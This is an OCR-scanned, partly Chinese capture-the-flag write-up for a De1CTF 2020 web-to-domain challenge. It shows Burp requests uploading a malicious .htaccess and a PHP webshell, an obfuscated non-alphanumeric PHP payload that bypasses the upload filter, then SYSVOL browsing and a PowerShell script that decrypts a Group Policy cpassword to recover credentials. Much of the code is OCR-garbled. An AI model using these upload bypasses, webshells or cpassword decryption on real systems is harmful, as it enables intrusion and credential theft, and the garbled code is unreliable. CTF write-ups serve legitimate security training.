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Burp Intruder Repeater Window Help

E | Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - O >

[Target T Proxy T Spider I Scanner T Intruder TRepeater T Sequencer [ Decoder I Comparer T Extender T Project options T User options TAIerts }

Go Cancel < |v >

Request

J Raw T Params T Headers I Hex }

Target: http://129.204.21.115 | # || ?

Response

J Raw T Headers T Hex [ HTML [ Render }

1v:75.0) Gecko/20100101 Firefox/75.0 [a
Accept:

text/html, application/xhtnl+xml, application/xml; q=0.9, inage /v
ehp, */*; q=0.8

Accept—Language:

zh—CN, zh:g=0. 8, sh-TW: q=0. 7, sh-HK: q=0. 5, en-1U3: g=0. 3, en: q=0. 2
Content—Type: multipart/form—data;

boundary=
18967
Content—Length: 380

Origin: http://129.204.21.115
Connection: close

Referer: http://129.204. 21. 115/
Upgrade—Insecure—Requests: 1

285145405436324627533950

28514540543632462753395018967
Content—Disposition: form—data; name="filelpload”;
filename=". htaccess”

Content—Type: image/png

AddType application/x—httpd—p'
hp . jpe

28514540543632462753395018967

Content-Disposition: form—data; name="upload”

submit

2B8014540543632462753395018967—

L

0 matches

? < + > | |Type a search term

Daone

{link rel="stylesheet” type="text/css”

href="stvle/css/stvlel. css™>

‘link rel="stylesheet” type="text/css”
href="style/css/stylel. css™>
< fhead>
<hody>
‘div class="wrap >

{div class="container >

T

¢hl style="color: white; margin: O;
center UPLOADS< /hil>
‘form action="index.php” method="post” ™
enctype= multipart/form—data”>
Cinput class="wd” type="file” name="fileUpload”
id="file" > hr>
Cinput elass="wd” type="submit” name="upload”
value="submit">
‘p class="change_link”™ style="text—align: center >
{strong:Sfstrong”
fbr
{strong>Your files :.htaccess{br’{/strong>
S
{strong’Your dixr :
uploads/Bebc9adidcdal d6f52edebec9b3al803TF <br></strong

text—align:

pr
fform
Cfdivs
<fdivy
<fhody >
< ftml > E
? < + > Type a search term 0 matches

1,232 bytes | 90 millis
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Go Cancel < [v >

Request

J Raw T Params T Headers I Hex }

Target: hitp://129.204.21.115 | # || 2

Response

J Raw T Headers T Hex [ HTML [ Render }

Origin: http://129.204.21.115
Connection: close

Referer: http://129.204. 21,1153/
Upgrade—Insecure—Requests: 1

28514540543632462753395018967
Content—Disposition: form—data; name="filelpload”;
filename="2. jpg”

Content—Type: imagefpng

<7=cat [flag :I

28514540543632462753395018967

Content-Disposition: form—data; name="upload”

submit

2B8014540543632462753395018967—

d

0 matches

@ [ZJ EJ EJ Type a search term

Daone

enctype= multipart/form—data”>
Cinput class="wd” type="file” name="fileUpload”
id="file" > hr>
Cinput elass="wd” type="submit” name="upload”
value="submit">
‘p class="change_link”™ style="text—align: center >
{strong»</strong”
fbr
{strong Your files :2. jpgbr>{/strong>
S
CstrongYour dir

uploads/Bebcga54c4aldﬁfﬁzedel;c9b5a18537f Chrrfstrong”

pr
fform
{fdivy
<fdivy
<fhody >
< ftml >

? < + > Type a search term

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinS4, =64; 'y {link rel="stylesheet” type="text/css” N
rv:75.0) Gecko/20100101 Firefox/73.0 href="stvle/css/stvlel. css™> r
Accept: ‘link rel="stylesheet” type="text/css”

text/html, application/xhtnl+xml, application/xml; q=0.9, inage /v href="style/css/stylel. css™>

ebp, #/* . q=0.8 < fhead>

Accept-Language & <hody>

sh—Cl, zh; q=0. 8, sh=TW; q=0. 7, sh-HE; q=0. 3, en-U3; q=0. 3, en; ¢=0. 2 ‘div class="wrap”>

Content—Type: multipart/form—data; {div class="container >

boundary= 285145405436324627533950 ¢hl style="color: white; margin: 0; text—align:

18967 center UPLOADS< /hil>

Content-Length: 332 ‘form action="index.php” method="post” ™

d

0 matches

1,228 bytes | 85 millis
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<?php

//Clear the uploads directory every hour
highlight_file(__FILE_ );

$sandbox = "uploads/". md5("DelCTF2020".$_ SERVER['REMOTE_ADDR']);
@mkdir($sandbox);

@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);

}
else{
$filename=md5($_SERVER[ 'REMOTE_ADDR'])." ".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~""&|]/is',$file_content) &&
lin_array($exts, $BlackExts) &&
Ipreg match('/\.\./',$_FILES["file"]["name"])) {
return true;
¥

return false;

}

?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">

</form>

</body>
</html>
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<?=$_=[]?>

<?=$_=@"$_"?>

?=$_=3_['1'=="@"]?>

<?=$___=%$_?>

<?=$__=%$_?>

<?=$__ ++?>

<?=$__ ++?>

<?=$__++?>

<?=$_ ++?>

<?=$_ ++?>

KP=$_ PO P=$_ ++?5<P=$ +4P0<P=$_ ++P5<P=$_ +420<P=F_ ++P0<P=$_ ++2><P=$_ ++P><?=$_ ++?><P=$_ ++2><?=$_ +
<?= % =% ?><?=%_ ++?><?=%__ ++2><?=$__ ++2><?=%  ++?>

=% .=%_

<?=$__ =%$_?>

<P=$_ +42><P=$_ ++25<P=$_ ++P><?=$_ ++?><?=F_ ++?><P=F_ ++2><P=$_ ++2><P=$_ ++2><?=$_ ++?><?=$_ ++?><?=$_ +
=% =%

<?=$__ =% _?>

<P=$_ +42><P=$_ ++2><P=$_ ++P><?=$_ ++?><?=$_ ++?><P=$_ ++2><P=$_ ++2><P=$_ ++2><?=$_ ++?><?=$_ ++?><?=$_ +
=% .=%_ >

?=$___='_'?

<?=$__=$_?>

<?=$  +42><?=$  ++?><?=$  ++?><?=$_ ++?><P=$_ ++2><P=$  ++2><?=%  ++2><?=$  ++?><?=$_ ++?><?=$__ ++?><?=$_+
<?=$_ =% >

<?=$__ =% _?>

<?=$  +42><?=$  ++?><?=$  ++?><?=$_ ++?><P=$  ++2><P=$  ++2><?=$  ++2><?=$  ++?><?=$  ++?><?=$_ ++?><?=$_ +
<?=$_ .=$

<?=$_ =% _?>

<P=$_ +425<P=F_ 4420<?=F_ ++P><P=P_ +420<P=F_ 4420<?=$_ ++P><P=$_ +420<P=F_ ++?><?=$_ ++P><P=$_ +4+2><P=$_ +
=% .=%_ >

<?=$__ =% >

<?=$_ +42><P=$_ ++25<?=$_ ++P><?=$_ ++?><?=$_ ++?><?=$_ +4+2><P=$_ ++2><P=$_ ++2><?=$_ ++?><?=$_ ++?><?=$_ +
=% .=$_

<?=$ =%$%$_ >

<?=$ [ 1 [_1L,s [__D?»
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C: \web\upload=\cald6631b82ab43956af79918d491992aT> ir

Windows IP Configuratiomn

Node Type
TP Routing Enabled.
WINS Proxy Enabled.

DN3 Suffix Search List. . . . . . : DelCTF2020.lab

Hat VirtI0 Ethernet

= o
o (0
[»]

-16-3E-03-68-C5

]
0

Rutoconfiguration Enabled

Link-local IPvé Address

Mask
Default Gateway
DHCPwvE IATID .
DHCPvEé Client DUID.
DNS Servers
NetBIOS over Tcpip.

Tunnel adapter isatap.

C:\web\uploads\cad6631bf2ah4395aF79918d491992a7>
Pinging DelCTF2020.lab |[152.16 .12] jwith
Beply from . 0. : byt time<lms
Reply from . I time<lms
Reply from . . : by time<lms
Reply from : by time<lms

#i\net use?r & 11

C:\web\uploads\ca46631b82ab43956af79918d91992a7> n=t use

New connectlions will be remembered.
Network

Microsoft Windows Network
Microsoft Windows Network

[T ]

Microsoft Windows Network

Windows Network

Windows Network
Windows Network
12\ 8¥Y3VOL Micro Windows Network

Windows
2\ SYSVOL M1 ws Network

3 kA B

Windows Network
Windows Network

275 KA ) Writeup?#: =) 23572 17 1 SYSVOLIE Ji7 25 5 W& v DR A7 1 25 i 7
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HRAERANENAAE — N ILER S RSYSVOL, #4279: \\<donain>\SYSVOL\, Fra A AR I, H
T DR A7 L SRS AR S o PRI EE N %380 i 3L 52 3 ok

« B >_ 47.113.219.76 [047.113.219.76 [047.113.219.76
O B®7E (3) < DX#AER(3) ~
+ I C/ O » #LE CRFE #EEF ABE +  /D=1CTF2020.0ab/SYSVOL/De1CTF2020.1ab/ < i%ER
£y £ B a4 I B
+ | Ff
™G/ [0 DfsrPrivate 2020-04-15 12:04:10 0b 0777
- H: / [ Policies 2020-04-15 15:01:20 0b 0777
-y [ scripts 2020-04-15 12:02:43 0b 0777
N9
W Ty
7y
= r_f
= P—i
= ) DelCTF2020.lab
= [ sysvoL

= [ De1CTF2020.lab
MW DfsrPrivate
= I Policies
M scripts

= 5T A

SR 5 T R B A B IR S R ZHid R B SR, AR
A: //IDe1CTF2020.1ab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-
1F2600F9264B}/Machine/Preferences/Groups/, K 2 it & /4 Groups.xmiff i 75

<?xml version="1.0" encoding="utf-8"?>

<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26} " ><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDEISBALD1}" name
="Hintzip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action
="U" newName="" fullName="" description="" cpassword="uYgjjoDCKSxqUp7gZfyzolF6hOyiYhavmyBXRAUp+28" changeLogon="1"
noChange="@" neverexpires="0" acctDisabled="@" userName="Hintzip_Pass"/></User>

</Groups> \

Hrhcpassword JAESHNE %0, A IR FEIA, of— F 23R n]




function Get-DecryptedCpassword {
[CmdletBinding()]
Param(
[string]$Cpassword
)

try{
# Append appropriate padding based on string Length
$Mod=($Cpassword.length % 4)

switch($Mod){

'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length-1)}
'2' {$Cpassword += ('="'*(4-$Mod))}

'3' {$Cpassword += ('="'*(4-$Mod))}

}

$Base64Decoded=[Convert]::FromBase64String($Cpassword)

#Create a new AES.NET Crypto Object

$AesObject=New-Object System.Security.Cryptography.AesCryptoServiceProvider

[Byte[]] $AesKey = @(0x4de,0Ox99,0x06,0xe8,0xfc,0xb6,0x6C,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, Ox

#Set IV to all nulls to prevent dynamic generation of IV value

$AesIV = New-Object Byte[]($Aesobject.IV.Length)

$AesObject.IV=$AesIV

$AesObject.Key=$Aeskey

$DecryptorObject=$Aesobject.CreateDecryptor()

[Byte[]] $0utBlock=$DecryptorObject.TransformFinalBlock($Base64Decoded, @, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($0utBlock)
}

catch {Write-Error $Error[@]}

}
Get-DecryptedCpassword "uYgjjoDCKSxqUp7gZfYzo@F6h0yiYh4VmYBXRAUp+08" / /% N %5 3

A7 1. pst EAE, 7E N & iRizdT: powershell -executionpolicy bypass -file 1.ps1,15 2| L 46 (%45, 11145
Flflag1

¢:\web\upload=\cad6631b82ab43956af79918d91992a7>

flagl: DelCTF{GpP_1l1Is_So0Q00_Ea3333y}

Get - flag2 Hint:

hintl: : You nehd Delta user to -get flag2

hint2:  -Delta user's password length-is:-1-8, and the password is composed of [0-9a-f].
hint3:  -Pay attention to the extended rights of Delta user on the -domain.

hint4: flag2 in Domain Controller  (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.
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